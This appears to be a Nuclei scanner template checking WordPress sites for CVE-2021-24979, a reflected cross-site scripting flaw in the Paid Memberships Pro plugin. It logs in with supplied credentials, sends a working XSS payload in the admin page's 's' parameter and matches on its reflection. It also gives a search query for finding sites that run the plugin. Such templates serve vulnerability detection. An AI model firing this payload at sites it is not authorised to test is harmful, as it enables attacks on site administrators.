46 lines
1.6 KiB
YAML
46 lines
1.6 KiB
YAML
|
id: CVE-2021-24979
|
||
|
|
||
|
info:
|
||
|
name: Paid Memberships Pro < 2.6.6 - Cross-Site Scripting
|
||
|
author: r3Y3r53
|
||
|
severity: medium
|
||
|
description: |
|
||
|
The Paid Memberships Pro WordPress plugin before 2.6.6 does not escape the s parameter before outputting it back in an attribute in an admin page, leading to a Reflected Cross-Site Scripting
|
||
|
remediation: version 2.6.6
|
||
|
reference:
|
||
|
- https://wpscan.com/vulnerability/fc011990-4ec1-4553-901d-4ff1f482cb79
|
||
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-24979
|
||
|
classification:
|
||
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
||
|
cvss-score: 6.1
|
||
|
cve-id: CVE-2021-24979
|
||
|
cwe-id: CWE-79
|
||
|
metadata:
|
||
|
verified: true
|
||
|
publicwww-query: "/wp-content/plugins/paid-memberships-pro/"
|
||
|
max-request: 1
|
||
|
tags: cve,cve2023,wp,wordpress,wpscan,wp-plugin,xss,authenticated
|
||
|
|
||
|
http:
|
||
|
- raw:
|
||
|
- |
|
||
|
POST /wp-login.php HTTP/1.1
|
||
|
Host: {{Hostname}}
|
||
|
Content-Type: application/x-www-form-urlencoded
|
||
|
|
||
|
log={{username}}&pwd={{password}}&wp-submit=Log+In
|
||
|
|
||
|
- |
|
||
|
GET /wp-admin/admin.php?page=pmpro-discountcodes&s=s"+style=animation-name:rotation+onanimationstart=alert(document.domain)// HTTP/1.1
|
||
|
Host: {{Hostname}}
|
||
|
|
||
|
cookie-reuse: true
|
||
|
matchers:
|
||
|
- type: dsl
|
||
|
dsl:
|
||
|
- 'status_code_2 == 200'
|
||
|
- 'contains(header_2, "text/html")'
|
||
|
- 'contains(body_2, "style=animation-name:rotation+onanimationstart=alert(document.domain)//")'
|
||
|
- 'contains(body_2, "Paid Memberships Pro - Membership Plugin for WordPress")'
|
||
|
condition: and
|